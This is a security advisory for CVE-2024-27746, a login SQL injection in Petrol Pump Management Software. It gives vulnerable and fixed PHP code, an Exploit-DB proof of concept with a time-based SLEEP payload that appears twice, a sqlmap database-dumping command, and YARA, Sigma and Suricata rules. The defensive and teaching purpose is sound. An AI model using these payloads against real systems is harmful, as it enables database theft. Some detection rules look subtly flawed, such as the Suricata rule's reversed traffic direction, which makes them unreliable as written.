CVE-2024-27746

Executive Summary

CVE-2024-27746 is a critical SQL Injection vulnerability discovered in Petrol Pump Management Software v.1.0, developed by SourceCodester. The flaw resides in the index.php component, specifically within the email address parameter during the login process. An unauthenticated attacker can inject arbitrary SQL commands, leading to data exfiltration, authentication bypass, and potential remote code execution. The vulnerability has a public proof-of-concept (PoC) exploit, and no official patch is currently available. This poses a significant risk to organizations using this software for fuel management operations.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application, not an open-source package from NPM, PyPI, Go, or Ruby registries. The software is distributed as a zip archive from SourceCodester. The primary supply chain risk is the lack of a patched version and the potential for malicious actors to distribute modified copies containing backdoors.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requiring no authentication. An attacker can extract the entire database, modify records, or execute system commands via stacked queries, leading to full compromise of the application and underlying server.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login form of index.php. The application fails to sanitize or parameterize the email parameter before using it in a SQL query. The vulnerable code likely resembles:

$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);

An attacker can inject a payload like test@test.com'; SELECT SLEEP(10)# to perform time-based blind SQL injection. The # character comments out the rest of the query, allowing the attacker to execute arbitrary SQL. This can be escalated to UNION-based injection for data extraction or stacked queries for command execution (if the database user has sufficient privileges).

Vulnerable vs. Patched Code

Vulnerable Code (index.php - login logic):

$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);

Patched Code (using prepared statements):

$email = $_POST['email'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
$stmt->bind_param("ss", $email, $password);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from user input. No official patch is available from the vendor; the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

The following exploit from Exploit-DB demonstrates time-based SQL injection:

# Exploit Title: Petrol Pump Management Software v.1.0 - SQL Injection
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27746
# Description: SQL Injection vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email address parameter in the index.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with username: test@test.com';SELECT SLEEP(10)# and
Password=test
3. Page will load for 10 seconds because of time-based sql injection
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27746.md

Usage:

1. Deploy the vulnerable application on a local server (e.g., XAMPP).
2. Navigate to http://localhost/fuelflow/index.php.
3. Enter the payload test@test.com';SELECT SLEEP(10)# in the email field and any password (e.g., test).
4. Observe a 10-second delay, confirming the SQL injection.

For data extraction, use a tool like sqlmap:

sqlmap -u "http://localhost/fuelflow/index.php" --data="email=test@test.com&password=test" --batch --dbs

Blue Team (Detection & Hardening)

• Immediate Action: Isolate the server running the vulnerable software.
• Web Application Firewall (WAF): Deploy a WAF rule to block SQL injection patterns in the email parameter.
• Input Validation: Implement strict input validation for the email field (e.g., regex for email format).
• Database Hardening: Ensure the database user has minimal privileges (e.g., no FILE or EXECUTE privileges).
• Logging: Enable detailed logging of all SQL queries and authentication attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /fuelflow/index.php with suspicious email parameters containing SQL keywords (e.g., SELECT, UNION, SLEEP, #).
  • Unusual response times (e.g., >5 seconds) from the login endpoint.
• File IOCs:
  • Unexpected files in the web root (e.g., .php shells).
  • Modified index.php or other PHP files.
• Database IOCs:
  • New or modified user accounts in the users table.
  • Unusual queries in database logs (e.g., SELECT * FROM mysql.user).

Detection Engineering

YARA Rule

rule CVE_2024_27746_SQLi_Exploit {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-27746 in Petrol Pump Management Software"
        author = "Valters IT"
        date = "2024-03-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27746"
    strings:
        $s1 = "email=" nocase
        $s2 = "SELECT" nocase
        $s3 = "SLEEP" nocase
        $s4 = "UNION" nocase
        $s5 = "#" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Petrol Pump Management Software
id: 9a1b2c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the email parameter in index.php
author: Valters IT
date: 2024/03/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/fuelflow/index.php'
        cs-uri-query|contains: 'email='
        cs-uri-query|contains|all:
            - 'SELECT'
            - 'SLEEP'
    condition: selection
falsepositives:
    - Legitimate use of the word 'SELECT' in an email address (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27746 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/fuelflow/index.php"; http_uri;
    content:"email="; http_client_body;
    pcre:"/(SELECT|SLEEP|UNION|#)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-27746;
    priority:1;
)

Remediation & Mitigation

1. Immediate Patch: Since no official patch exists, apply the prepared statement fix to index.php as shown in the "Patched Code" section.
2. Upgrade: Monitor the vendor's website for an updated version. If none is released, consider migrating to a different, actively maintained fuel management solution.
3. WAF Rules: Deploy virtual patching via a WAF to block SQL injection patterns.
4. Network Segmentation: Place the application server in a DMZ with strict firewall rules.
5. Regular Audits: Conduct periodic security audits and penetration tests on all web applications.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 6C1200E590D972FC82178438] */}

# Exploit Title: Petrol Pump Management Software v.1.0 - SQL Injection
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27746
# Description: SQL Injection vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email address parameter in the index.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with username: test@test.com';SELECT SLEEP(10)# and
Password=test
3. Page will load for 10 seconds because of time-based sql injection
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27746.md